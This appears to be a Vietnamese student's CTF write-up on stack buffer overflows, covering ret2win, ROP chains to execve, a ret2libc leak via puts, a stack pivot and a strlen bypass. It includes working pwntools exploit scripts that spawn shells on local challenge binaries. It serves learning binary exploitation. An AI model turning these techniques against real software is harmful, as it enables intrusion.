---
# System prepended metadata

title: Task 2

---

# Task 2
# Buffer overflow
## Cách buffer overflow hoạt động
- Theo mình hiểu thì khi chạy 1 program. Nếu program đó cho phép nhập dữ liệu vượt mức giới hạn buffer đã đc phân bố
    - Lúc đó, các data vượt mức cho phép của buffer sẽ tràn sang các địa chỉ khác và ghi đè lên data tại các địa chỉ đó.
#### bof1 challenge
- VD: challenge đầu tiên từ anh trí: bof1
![image](https://hackmd.io/_uploads/Sy06KLLpeg.png)
        - Đối với hàm read, lúc này hàm cho phép mình input lên tới 48 bytes
        - Tuy nhiên, buf của mình chỉ có 16 bytes
        - Nếu mình input vượt quá 16 bytes, vd 17 bytes thì lúc này nó sẽ tràn xuống biến kế tiếp: v5
- Đối với hình trên thì 3 biến v5, v6, v7 đã đc khai báo với số byte chứa đc là 8 bytes.
- Khi tràn biến thì các biến kế tiếp sẽ bị thay đổi do bị các data bị tràn chèn lên
VD: ![image](https://hackmd.io/_uploads/rkCVLPUaeg.png)
    - Đối với hình trên, mình đã nhập vào 48 bytes, đúng với mức mà read cho phép đọc.
    - Nhưng vì buffer của program chỉ nhận tới 16 bytes là max, nên 32 bytes còn lại bị tràn sang các biến tiếp theo gần kề nhau trong stack.
    - Vì 32 bytes kia bị tràn nên giá trị của các biến tiếp theo cũng thay đổi theo
![image](https://hackmd.io/_uploads/rkCVLPUaeg.png)
    - Và địa chỉ của v5 là rbp-0x20
    - Do đó, mình sẽ áp dụng command pattern create và pattern search để bt được vị trí của các biến v5, 6,7 trong stack
    ![image](https://hackmd.io/_uploads/SykwFPL6le.png)
    - Sau đó mình chỉ cần nhập dãy ký tự 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'
    ở phần input của chương trình
    - Sau đó mình sẽ có thể sử dụng command pattern search
    ![image](https://hackmd.io/_uploads/HywmPwIpex.png)
    - Khi search bằng pattern search thì mình thấy rằng vị trí của v5 có offset là 16, nghĩa là từ byte thứ 17 tính từ address của buffer. Đó sẽ là những data của v5
        - Nếu như biến tràn tới byte thứ 17 trở lên, giá trị của v5 sẽ thay đổi theo data bị tràn do bị chèn lên.
    - Tương tự như v đối với v6,7 tiếp theo
- Trong challenge này, nếu như v5, v6, v7 có giá trị khác 0, program sẽ cho truy cập vô shell. Và đó cx là mục tiêu của mik.
    - Vì v5,6,7 ko thể input đc nên mik sẽ exploit buffer overflow trong trg hợp này.
    - V thì để đạt đc shell thì ít nhất biến phải tràn tới tận v7 mới đc.
    - ![image](https://hackmd.io/_uploads/rJ8Q3D8Txl.png)
    - Do đó mik phải nhập ít nhất 33 ký tự để nó tràn và thay đổi biến v7 khác 0
    - Mà do trước đó mình đã nhập lên tới 48 bytes rồi nên là 3 biến v5,6,7 đều đã được thay đổi.
    - Do đó mình chỉ cần chạy tiếp cho tới hết program thì sẽ lấy được shell
    - V là bof1 đã done
#### bof2 challenge
![image](https://hackmd.io/_uploads/rk0KNdUalx.png)
- Challenge này đòi hỏi v5, 6, 7 phải có giá trị đã được xác định
- Để làm v thì mik phải dùng code để can thiệp các biến bị tràn.
- Do đó mik sẽ code 1 chút python ở đây
```python!=
from pwn import *

p = process('./bof2')

input()
load = b'A'*16
load += p64(0xCAFEBABE)
load += p64(0xDEADBEEF)
load += p64(0x13371337)
p.sendafter(b'> ', load)

p.interactive()
```
- Với code này thì mik sử dụng library pwn của python để xài đc 1 số hàm đặc biệt dùng để tương tác với chương trình
- Đầu tiên mình sẽ tạo 1 biến load và nó sẽ đầy bộ nhớ của buf trc
- Tiếp theo mình sẽ thêm giá trị quy định của v5 với định dạng là p64(), hàm này sẽ cho program hiểu rằng dữ liệu được thêm vào tiếp theo sẽ là định dạng 8 bytes
- Do đó, chỉ có data 0xCAFEBABE đc thêm vào v5
- Sau đó, các data tiếp theo sẽ tràn sang các biến khác.
- Mik chỉ cần áp dụng đúng phương thức đó với 2 biến còn lại là sẽ xong chall
#### Challenge bof3, re2win
- Ở challenge này, mục tiêu của mik là truy cập vô shell qua function win dc đặt ngoài hàm main
![image](https://hackmd.io/_uploads/rysoYsI6lg.png)

- Trước hết thì nếu để ý kỹ, đây vẫn là 1 lỗi buffer overflow do số byte input có thể > buffer
- Do đó, mik có thể lợi dụng bug này để điều chỉnh lại return address của hàm main.
![image](https://hackmd.io/_uploads/S10HijIalg.png)
- Như trong hình trên, nếu ko chỉnh sửa j thì ret sẽ đưa program trở về địa chỉ ban đầu của libc call function.
- Nhưng với bug buffer overflow, mik có thể lợi dụng nó để chèn địa chỉ của hàm win vào, khiến cho ret đưa program tới địa chỉ của hàm win, từ đó có cơ hội lấy đc shell
- Để làm đc v, mik cx cần phải sử dụng vài thủ thuật dựa vào python code để tiếp tục truy cập đc vào shell
```python!=
from pwn import *

p = process('./bof3')

# exe = ELF("./bof3")

input()
load = b'A'*40
# load += p64(exe.sym['win'])
load += p64(0x401249)

p.sendafter(b'> ', load)

p.interactive()
```
- Hàm process() giúp truy cập vào program thông qua đường dẫn tới file bof3, ở đây là ./bof3.
- Hàm ELF() giúp mik có quyền tìm kiếm và truy cập các address trong file bof3
- Nhờ vào cách sử dụng hàm ELF(), Mik có thể sử dụng exe.sym['win'] để truy cập và sử dụng địa chỉ của function win
- Việc mik sử dụng input() trong đây là để debug động, mik có thể xem đc cách dữ liệu tương tác trước và sau khi mik nhập dữ liệu. Đồng thời có các hướng đi kế tiếp để truy cập đc vào shell
- Kế đến, mik tạo pattern với độ lớn là 0x30 = số bytes hàm read cho phép đọc để xác định offset của return so với địa chỉ buffer
- Lưu ý là pattern phải tràn ít nhất là tới được địa chỉ của return thì sử dụng pattern search mới được. Nếu ko thì sẽ như trong hình
![image](https://hackmd.io/_uploads/BJrMiEwplg.png)
![image](https://hackmd.io/_uploads/ByWYj4v6xg.png)
- Sau khi mik pattern create 0x30 và nhập đúng pattern đó vô hàm read
![image](https://hackmd.io/_uploads/rkip24wTle.png)
- Dữ liệu đã thành công tràn tới địa chỉ trả về của return
- Lúc đó mik đã có thể sử dụng pattern search với địa chỉ chứa địa chỉ trả về của return
![image](https://hackmd.io/_uploads/SJHEaEP6el.png)
- Lúc này mình thấy rằng offset là 40, nghĩa là tại byte thứ 41, data sẽ chèn lên return address
- Lúc này mik sẽ tận dụng buffer overflow bằng cách cho biến load chứa 40 ký tự đầu random
- Sau đó từ ký tự 41 trở lên thì sẽ chứa địa chỉ của hàm win
```python=
from pwn import *

p = process('./bof3')

# exe = ELF("./bof3")

input()
load = b'A'*40
# load += p64(exe.sym['win'])
load += p64(0x401249)

p.sendafter(b'> ', load)

p.interactive()
```
- Mà do hàm win ở ngoài hàm main nên mik cần tìm địa chỉ của hàm win
- Để làm v thì mik sẽ xài lệnh p win
![image](https://hackmd.io/_uploads/BJPfR4PTle.png)
- Lúc này, mik sẽ lấy đc địa chỉ của hàm win và cộng thêm cho load dưới dạng 64 bits để chắc chắn return address là địa chỉ của chính hàm win
- Còn cách khác là sử dụng hàm ELF để có thể truy cập và tìm kiếm địa chỉ của các function
- rồi dùm exe.sym['win'] thì python sẽ lấy địa chỉ hàm win trực tiếp lun
- Sau đó chỉ cần p.sendafter() là program sẽ nhận đc data mik mún
- Rồi tiếp tới p.interactive() để sau khi send dữ liệu và lấy được shell thì mik sẽ có thể tương tác tiếp tục với terminal
![image](https://hackmd.io/_uploads/B1JXSHwage.png)
- Tuy nhiên sau khi triển lệnh thì vẫn ko thể lấy được shell
- Do đó mik sẽ debug để xem là code python của mik có hoạt động ổn ko
![image](https://hackmd.io/_uploads/HyE5BHDplx.png)
- Mik sẽ debug động để dễ xem tương tác
![image](https://hackmd.io/_uploads/HJ-kUrDTxe.png)
- Sau đó đặt breakpoint tại ret rồi cho chương trình chạy tới đó
- ![image](https://hackmd.io/_uploads/HJ_ZUrDplg.png)
- Lúc này chỉ cần chuyển sang tab python đang input kia để nhập random j đó thì code solve.py sẽ tiếp tục quy trình gửi dữ liệu tới program
![image](https://hackmd.io/_uploads/r1TILSD6el.png)
- Sau khi gửi thì mik thấy rằng địa chỉ return đã được chèn lên như đúng mong muốn, các code kế tiếp cx là truy cập vô hàm win
- Do đó mik sẽ ni tiếp để xem program hđ thế nào
![image](https://hackmd.io/_uploads/rkGCUrv6xg.png)
- Tại đây mik thấy rằng code sẽ terminate sau khi đi qua ins movaps
- Và mik cx thấy có register mm1 ở đây
- Theo mik hiểu thì mm1 bắt buộc address đầu tiên rsp trỏ tới lúc vừa với truy cập hàm win, address đó phải ko chia hết cho 16
- Tương tự với mm0
- Do đó, mik tiến hành kiểm tra lại address mà rsp trỏ tới ở đầu hàm win 
![image](https://hackmd.io/_uploads/rknX_SvTgg.png)
- Mình có cách fix nhanh bug này đó là mình sẽ overwrite saved rip thành địa chỉ của return trong hàm main tiếp, value tiếp theo của stack sẽ là địa chỉ của hàm win.
- Thế là mình thành công đạt đủ điều kiện để xmm1 ko bị lỗi, đồng thời lấy đc shell
### Bof4: ROPchain
- Trong challenge này thì mik sẽ làm quen với các khái niệm ROPgadget
	- ROP hoặc tên khác là gadget, là các lệnh code asm để thực thi chương trình
	- Vd 1 lệnh mov rax, 60 cx đc gọi là 1 gadget
- Code của chall này khi decompile sẽ như này:
![image](https://hackmd.io/_uploads/Hy0ccqXAel.png)
- Ở đây, mik thấy rằng có 1 hàm tên là gets
- Mik bt rằng hàm gets nó là 1 trong những hàm mà có thể truyền lượng data vượt quá quy định của buffer
- Nhờ v chương trình này chắc chắn có lỗi bof
![image](https://hackmd.io/_uploads/rJnfn9mRel.png)
- Tiếp theo mik sẽ đặt break point ngay hàm gets và pattern create rồi nhập vô hàm gets
![image](https://hackmd.io/_uploads/S1nD3cm0ex.png)
- Lúc này, mik thấy nó đã overflow vượt quá return address, thậm chí còn dài hơn nữa
![image](https://hackmd.io/_uploads/rkPq2qXCee.png)
- Thông qua hình ảnh thì mik thấy checksec của file gồm canary và NX on
![image](https://hackmd.io/_uploads/SJFk69QCeg.png)
- Tuy nhiên, trong trường hợp này mik thử bay tới return lun xem có tự động thoát chương trình trc khi return ko
![image](https://hackmd.io/_uploads/r1FGT9mRlx.png)
- Kết quả là vẫn nhảy tới return bthh
- Do đó, mik có thể kết luận đây là lỗi của gdb checksec thôi
- Mik thấy rằng NX đang on nên ko thể thực thi đc các lệnh trên stack --> Ko thể exploit stack đc
- Có 1 điều kiện cho mik là PIE ko bật
- Do đó mik sẽ áp dụng kiến thức mới là sử dụng
ROPgadget command để thực thi hàm execve, 1 hàm thường được sử dụng để lấy shell. Cách này chỉ xài đc đối với PIE tắt
![image](https://hackmd.io/_uploads/SJDSK27Agg.png)
- Trước hết thì mik sẽ tạo ra 1 file python code
![image](https://hackmd.io/_uploads/BkCFKhX0lg.png)
- Đây là code mà mik đã viết xong và đã lấy đc shell
- Bây giờ mik sẽ phân tích từng code để hiểu rõ hơn về quy trình lấy shell trong chall này
- Đầu tiên: 
	- Mik sử dụng pattern create để bt khoảng cách giữa return address và chỗ nhập là bao nhiêu
![image](https://hackmd.io/_uploads/HyGHchXAxe.png)
 	- Lúc này, mik sẽ đặt biến load với giá trị gồm 88 bytes là giá trị 'A'
	- Sau đó mik sẽ thực hiện ý tưởng:
		- Viết /bin/sh tại 1 vị trí trống
		- Sau đó chỉnh rdi trỏ vô địa chỉ đó
		- rsi, rdi đều cho = NULL
	--> execve(rdi, 0, 0)
	- Để làm đc vậy thì mik sẽ kiếm 1 địa chỉ trống trc
	![image](https://hackmd.io/_uploads/H1d7i2XRxl.png)
	- Lúc này mik sẽ kiếm các địa chỉ trống ở region có thể viết và đọc: rw--
	- Lúc này mik thấy region bắt đầu từ 0x406000 có thể rw
	- Do đó mik sẽ mò trong đây để kiếm địa chỉ trống
![image](https://hackmd.io/_uploads/rkrWphmAxe.png)
	- Mik sẽ lấy address 0x406c50 để ghi lệnh shell
	- Tiếp theo mik sẽ ghi /bin/sh bằng cách kiếm gadget pop rdi; return
![image](https://hackmd.io/_uploads/HyvqThX0le.png)
	- Ý tưởng là mik sẽ cho rdi trỏ về địa chỉ trống mới lấy đc và thực hiện lại hàm gets
	- Lúc này, rdi cx là argument đầu của gets. Mik hiểu là khi gọi lệnh gets thì input của mik sẽ đc lưu tại addr mà rdi trỏ tới.
	- Để làm đc vậy thì mik sẽ overwrite return address thành pop rdi address: 0x000000000040220e
	- Coi như mik đã send đủ data mà mik cần theo như code mình đã viết xong r
	![image](https://hackmd.io/_uploads/HkxQka7Rgl.png)
 	- Mik sẽ phân tích từ khúc các biến load đc cộng dồn để tránh ngắt quãng việc phân tích
	- Lúc này, program nhảy tới pop rdi. 
	- Sau đó, program pop addr chứa địa chỉ trống vô rdi
	- Tiếp theo, theo như address của pop rdi thì sau pop có ret.
	- Mik sẽ lợi dụng ret tiếp để return tới địa chỉ hàm gets và chương trình sẽ chạy hàm gets, lúc này mik sẽ gửi lệnh nhập /bin/sh theo như p.sendline
	- Sau đó return to rdi rồi pop địa chỉ đc viết vô
	- Rồi tương tự với rsi và rax, rdx
	- việc mik gửi sendlineafter trc đó là để gửi load mà mik đã set up cho bof
	- Còn sendline thì gửi cho hàm gets đc gọi lúc sau
	- Đối với lại các gadget khác thì mik cx áp dụng tương tự 
	- Tuy nhiên, trường hợp này có 1 biển thể chút là
![image](https://hackmd.io/_uploads/HJSAfam0ex.png)
	- Khi tìm pop rdx gadget, mik thấy rằng trường hợp thứ 3 là chỗ ổn nhất để mik exploit và ghi đè các giá trị lên
	- Như bth thì mik sẽ lợi dụng return vô pop rdx rồi pop NULL, pop rax value để định dạng loại syscall vô cho đủ execve(rdi, 0, 0)
	- Nhưng trường hợp này có add rsp, 0x20.
	- Nên mik sẽ phải add thêm 
	```python=
	load += b'A' * 0x28
	```
	- Để địa chỉ kế tiếp return chính là thằng syscall address
- Do đó, code cuối cùng của mik sẽ là vầy
```python=
#!/usr/bin/python3
from pwn import *

exe = ELF("./bof4", checksec = False)
p = process('./bof4')

rdi_addr = 0x000000000040220e
addr = 0x406c50
rsi_addr = 0x00000000004015ae
# pop rax ; pop rdx ; add rsp, 0x28 ; ret
rax_to_rdx = 0x00000000004043e3
syscall = 0x000000000040132e


# recv

load = b'A'*88
load += p64(rdi_addr) + p64(addr)
load += p64(exe.sym['gets'])

load += p64(rdi_addr) + p64(addr)
load += p64(rsi_addr) + p64(0)
load += p64(rax_to_rdx) + p64(0x3b) + p64(0)
load += b'A' * 0x28
load += p64(syscall)

input()
p.sendlineafter(b'something: ', load)
p.sendline(b'/bin/sh')

p.interactive()
```
### bof7f

- Đối với mik thì đây là kiến thức khó nhất trong list anh trí
```python=
#!/usr/bin/python3
# Lệnh trên dùng để cho phép mik gọi ./file.py lun cho gọn lẹ
from pwn import *
from binascii import *
# Lệnh ELF ở dưới cho phép mik truy cập vô blueprint của program, từ đó bt offset,... để debug
context.binary = exe = ELF('./bof7', checksec=False)
"""
- Lệnh dưới là 1 kiến thức mới
Nó dùng để lấy blueprint loại libc đang được sử dụng 
- Trường hợp này, do ko cần kết nối máy chủ nào nên mik sẽ lấy chính file libc local máy mik để debug program
- Nhưng nếu gặp trường hợp phải remote server thì mik sẽ phải tìm loại libc khiến cho cả local và server đều lấy đc shell
- Mik sẽ giải thích cách lấy sau khi phân tích xong đoạn code ở dưới
"""
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

# p = remote('127.0.0.1', 9993)

# p = gdb.debug ( [exe.path], gdbscript=
# '''
# b*
# c
# '''
# )

"""
GOT & PLT
Global offset table: nơi chứa địa chỉ entry vào các hàm real của libc
Procedure linkage table: nơi thực thi các hàm trong libc
- Đây là 2 tên khái niệm mới khá khó hiểu đối với mik
- Theo mình hiểu thì khi chương trình gọi 1 hàm trong libc, nó sẽ qua trải qua các bước sau đây
- Đầu tiên, chương trình sẽ truy cập vào địa chỉ plt, nơi chứa các GOT entry của cái hàm mik muốn gọi. GOT đc coi như là entry, chứa địa chỉ thật sự của các hàm trong libc
- Ở lần thực thi đầu tiên, GOT sẽ chứa địa chỉ của 1 hàm đặc biệt, thường gọi là dynamic linker. 
- Hàm này sẽ tìm địa chỉ real của cái hàm đang đc chương trình gọi, cụ thể ở đây là hàm puts
- Sau khi tìm đc thì dynamic linker sẽ thay thế con trỏ đc lưu trong GOT thành địa chỉ real của puts. 
- Quá trình dynamic linker tìm kiếm địa chỉ real chỉ đc thực thi trong lần gọi hàm libc đầu tiên. Các lần tiếp theo thì chương trình sẽ jmp thẳng vào pointer (real address of libc function) đc lưu tại GOT
- Rồi chương trình tiếp tục thực thi hàm puts thực sự đc lưu trong GOT
- Do đó, có thể hiểu là: GOT là nơi lưu địa chỉ thực sự của hàm libc, PLT là dùng để thực thi hàm libc.
"""

p = process(exe.path)
pop_rdi = 0x0000000000401263

load = b'A' * 88

"""
- Trong bof này, ý tưởng là gọi lệnh /bin/sh thông qua libc
- Mik cx sử dụng bof như thg để overwrite return address, dẫn tới gadget gồm lệnh pop rdi; ret rồi pop địa chỉ của GOT trỏ tới puts function
- sau đó, thực thi lại hàm puts bằng cách return tới puts plt
- Lúc này, chương trình sẽ thực hiện hàm puts với argument đầu là rdi: trỏ tới địa chỉ GOT entry. Do đó, puts sẽ in con của GOT entry là địa chỉ real của puts function
- Ý tưởng ở đây là bt đc address real của puts, sau đó set up lại libc base address để khi gọi các hàm khác trong libc, program sẽ gọi đúng địa chỉ các hàm
- Lý do phải làm vậy là vì các lệnh libc.sym['...'] thường là kết quả offset fixed của các hàm trong libc so với libc base address: 
 	- real function address in libc = libc base address + offset
- Có 1 điều đáng lưu ý là các server khác nhau có thể cần sử dụng các library libc khác nhau-
	- Vì các server có thể có các architecture khác so với local, nên việc sử dụng offset có thể ko đủ để gọi đúng hàm ở đúng địa chỉ.
	- Khi exploit trên server, mik phải xem thử libc mik đang sử dụng có giống với sv ko. Nếu ko thì phải tìm libc khác
"""
load += p64(pop_rdi) + p64(exe.got['puts'])
load += p64(exe.plt['puts'])
load += p64(exe.sym['main'])
p.sendafter(b'something: \n', load)
libc_leak = u64(p.recv(6) + b'\0\0' )

log.info("Offset puts before computing: " + hex(libc.sym['puts']))

"""
- Khúc này mik set up lại libc base address để khi gọi libc.sym[] thì sẽ gọi đúng với hàm mik mong muốn lun, vì lúc gọi libc.sym thì ct sẽ lấy offset_sym + base_libc_address rồi trả về kết quả tổng đó.

"""
libc.address = libc_leak - libc.sym['puts']

log.info("libc leak: " + hex(libc_leak) )
log.info("Base libc: " + hex(libc.address) )
log.info("Offset puts after computing: " + hex(libc.sym['puts']))

input()

"""
- Ở đây, mik sử dụng biến này để cho chương trình return về return instruction của hàm main rồi mới return tới system để thực thi lệnh system("/bin/sh") 
- Lý do vì khi mik chạy code thì gặp phải register xmm1 khiến chương trình gặp lỗi và ko thể lấy đc shell (Hình bên dưới)
- Do đó, mik sử dụng thêm 1 lệnh return để stack nhảy xuống thêm 8 bytes rồi mới thực thi hàm system của libc
"""
byte_8_padding = 0x00000000004011fb

load = b'A' * 88
load += p64(pop_rdi) + p64( next(libc.search (b'/bin/sh')) )
load += p64(byte_8_padding)
load += p64(libc.sym['system'])
p.sendafter(b'something: \n', load)

""" 
- Cách để nhận biết rằng mik chạy libc phù hợp với server hay chưa thì có thể nhìn vào 3 ký tự cuối của 1 address leak
- Vd ở dưới thì khi mik chạy local thì 3 ký tự cuối ko đổi là e50
- Còn đối với server thì khi leak đc address r đưa lên web lic.rip như phía dưới hướng dẫn
local
0x74a7a4880e50
0x700447c80e50

server 

"""
p.interactive()
```
- Nếu exploit trên server, mik có thể tìm file libc phù hợp bằng cách leak address real của hàm puts
- Sau đó vào web libc.rip để search các file libc phù hợp và test từng file ở cả local và server
- Khi tải 1 file libc về thì sẽ xài pwninit để patch file libc đó vào chương trình
- Sau đó chạy local và cả remote, nếu ko được thì lặp lại, được thì lấy đc shell và end.
![image](https://hackmd.io/_uploads/HJ0SiZrRgl.png)

![image](https://hackmd.io/_uploads/r1MOpgSCgg.png)
- Lỗi mik gặp khi ko thêm padding
![image](https://hackmd.io/_uploads/S1ZxFWB0xl.png)

## Dreamhack challenge
### Block_bof - Author : Dreamhack
![image](https://hackmd.io/_uploads/r1rHAWBClg.png)
![image](https://hackmd.io/_uploads/SkTrRZB0xg.png)
![image](https://hackmd.io/_uploads/HyxvRZS0ll.png)
- Trước tiên mik thấy scanf ko giới hạn số lượng nhập --> Khai thác đc bof
- PIE và stack đều tắt --> Khai thác đc stack thực thi và địa chỉ tĩnh
- Mik để ý ở đây có 1 hàm chặn việc bof tên là check()
- Hàm này có điều kiện nếu độ xài của lần nhập thứ 2 vượt quá 15 bytes thì sẽ exit lập tức
- Ý tưởng lúc này là vượt qua hàm đó và lấy đc shell thông qua hàm get shell chx đc gọi ra
![image](https://hackmd.io/_uploads/H1srezrAgl.png)
![image](https://hackmd.io/_uploads/SkNIgGrAeg.png)

```python!= 
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./block_bof', checksec=False)

p = process(exe.path)
gdb.attach(p)
input()

load = b'A'*10
p.sendafter(b'??', load)

return_addr = p64(0x00000000004013bd)
```

- Ở đây, mik xài hàm ljust để tạo ra padding sao cho độ dài của load đủ 56, vừa đủ để các input tiếp theo overwrite return address đc
- Mik sẽ đặt các padding là \0, nghĩa là byte NULL
![image](https://hackmd.io/_uploads/Bkm1zGBAex.png)

- Do strlen chỉ đếm các byte có ý nghĩa gồm các ký tự hoặc số khác 0 nên mik đã qua đc vòng này
- Tiếp theo chỉ cần đặt địa chỉ hàm get shell ngay return address
- Do mik lại tiếp tục gặp lỗi với xmm1
![image](https://hackmd.io/_uploads/SktGGfH0ex.png)
- Nên mik sẽ thêm padding 8 byte vào là 1 địa chỉ return nữa
- Lúc này, chương trình return lần 1 vào chính nó, rồi mới return tiếp vô hàm shell
- Thế là end
```python=
load = b'deadbeef'
load = load.ljust(56,b'\0')
load += return_addr
load += p64(exe.sym['get_sehll'])

p.sendlineafter(b'commnet : ', load)

p.interactive()
```

### MSNW - Author : kimht . Level 2
![image](https://hackmd.io/_uploads/H1s1M7B0ex.png)
![image](https://hackmd.io/_uploads/Hy6efXSRge.png)
![image](https://hackmd.io/_uploads/ByxNM7SCle.png)
- Ở đây, mik thấy rằng program cho phép thực thi trên stack
- Đồng thời mik thấy rằng mik đc phép nhập tận 0x132 bytes vô buf[40] --> xài đc bof
- Nhờ vậy, khi nhập thử 0x132 bytes thì mik overwrite đc 2 bytes của saved rbp
![image](https://hackmd.io/_uploads/HyepBXBCxe.png)
- Ở trường hợp này, mik sẽ lợi dụng saved rbp để điều khiển chương trình return tới hàm Win
![image](https://hackmd.io/_uploads/H1QeLXS0gl.png)
- Sau khi debug thử thì mik thấy rằng chương trình cho phép mik nhập ở hàm Meong
- Sau khi nhập xong thì chương trình xài hàm leave 2 lần trong quá trình chạy lệnh, để ý rằng ko hề có hàm nào đc gọi trong quá trình này
- Do đó, mik có thể áp dụng trơn tru việc sử dụng saved rbp để điều khiển chương trình theo ý mik
![image](https://hackmd.io/_uploads/HyfDL7r0xx.png)
![image](https://hackmd.io/_uploads/HyjwImSAeg.png)
- Đây là code của mik để hoàn thành chall, nik sẽ phân tích trong code
```python!=
#!/usr/bin/python3

from pwn import *

context.binary =exe = ELF('./msnw', checksec=False)

p = process(exe.path)

"""
- Ý tưởng ở đây là exploit return của hàm call, hàm cha của Meong
- Cách exploit này có tên là stack pivot
- Đầu tiên mik sẽ leak address của saved rbp
- Sau đó tính offset của con trỏ rsi và saved rbp
- Tiếp theo là overwrite 2 bytes cuối của saved rbp thành 2 bytes cuối của rsi pointer
- Mik đã thực hiện phép tính trên gdb và tính đc offset là 0x330, dư sức để điều chỉnh saved rbp thành rsi pointer
rbp_leak - 0x330 = rsi address
- leave sẽ là instruction mik lợi dụng trong trường hợp này để điều khiển program
-Cấu trúc leave: mov rsp, rbp; pop rbp
"""

input()

load = b'A'* 304
# Ở đây, mik áp dụng lỗi leak address để leak rbp
p.sendafter(b': ', load)
p.recvuntil(load)

rbp_leak = u64(p.recv(6) + b'\0\0')

log.info("Saved rbp leak: " + hex(rbp_leak))

#tiếp theo là tính toán rsi dựa trên offset tính đc trên debug
rsi_leak = rbp_leak - 0x330

"""
- Khúc này mik cho 8 byte đầu tiên là NULL vì mik sẽ thay đổi saved rbp thành rsi pointer
- Dựa trên cấu trúc của leave thì khi leave lần 2, rsp sẽ bay tới rsi pointer r nhảy xuống 8 byte do pop rbp
- Sau đó return tới đúng địa chỉ hàm Win và lấy đc flag
"""
load = p64(0)
load += p64(exe.sym['Win'])
load += b'A' * 288
load += p16(rsi_leak & 0xffff)

p.sendafter(b': ', load)

p.interactive()
```
### Challenge: Is over 100? - Author : camo132108 - Difficulty : 1
- Source code:
![image](https://hackmd.io/_uploads/Hy-AEaBRgl.png)
- Challenge này khá đơn giản, nhưng làm mik chú yếu tới vài đặc điểm khác của bof
- Khi mik overflow 1 hàm nhận input thì phải chú ý tới đặc tính của nó
- Ví dụ trong trường hợp này là hàm fgets: 
	- Đây là hàm chỉ nhận 1 line
	- Cuối input thì hàm sẽ chèn thêm byte NULL 
- Do đó, khi overflow = hàm này, mik sẽ ko thể leak đc địa chỉ kế tiếp vì cuối input đã đc chèn thêm byte NULL
- Tiếp theo là hàm nhận line nên cuối input sẽ luôn có byte 0x0a và \0 là null,
- Do v nên khi mik thay đổi biến của arr3 thì sẽ phải chừa ra 2 byte cuối để nó ko bị chèn xuống flag như ở dưới
![image](https://hackmd.io/_uploads/BJ5QiRBRxx.png)
- Challenge này ng ta chèn flag ngay phía dưới thg arr3 để mik bt đc trường hợp này
- Chỉ cần overwrite đc biến arr3 và chừa 2 bytes cuối cho NULL vầ \n thì sẽ ra flag nhờ vào điều kiện đc xét ở source code
- Lưu ý là flag đc in ra là do điều kiện ở trên thỏa, ko phải là do leak nhờ vào input như thường. Vì byte cuối là byte null nên ko thể leak đc
- Thêm 1 lưu ý nữa là phải overwrite ít nhất 1 byte của biến arr3 thì mới thỏa điều kiện đưa ra
- Còn 1 bài học mik rút ra ở đây là khi làm chall thì nên auto nhập full số bytes nhập đc
- Vì sẽ có những trg hợp tên của hàm main bị ẩn như hình dưới
![image](https://hackmd.io/_uploads/r1Ogc7U0ll.png)
- Lúc này, mik sẽ ko bt là đang debug ở hàm nào
- Do đó, khi đặt breakpoint đại thì có thể ko đúng chỗ, hoặc program exit trc khi tới bp, ko coi đc stack và dữ liệu trao đổi thế nào
- Do đó, mik nên nhập full số bytes có thể nhập để program bị lỗi và dừng giữa chừng
- Lúc đó sẽ có khả năng bị dừng ở ngay hàm main, từ đó đặt bp đúng chỗ và coi dữ liệu ra vào đc
![image](https://hackmd.io/_uploads/SJiGjm8Rge.png)
- Như hình trên thì mik đã đc dừng ở return của hàm main do sigsegv
- Đây là kết quả lấy flag của mik
![image](https://hackmd.io/_uploads/S17D3RH0xe.png)
- Ở dưới là code của mik để lấy flag, đã thỏa điều kiện overwrite đc ít nhất 1 data trong arr3
![image](https://hackmd.io/_uploads/Syvp2ASRgl.png)
```python!=
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall')
#done
p = process(exe.path)
# p = process(exe.path)
# gdb.attach(p)
input()
"""
offset 184
bp : 0x400853
0x00007fffffffde90 
+ 0x70
"""
load = b'A'*107
p.sendline(load)

"""
104
"""

p.interactive()
```




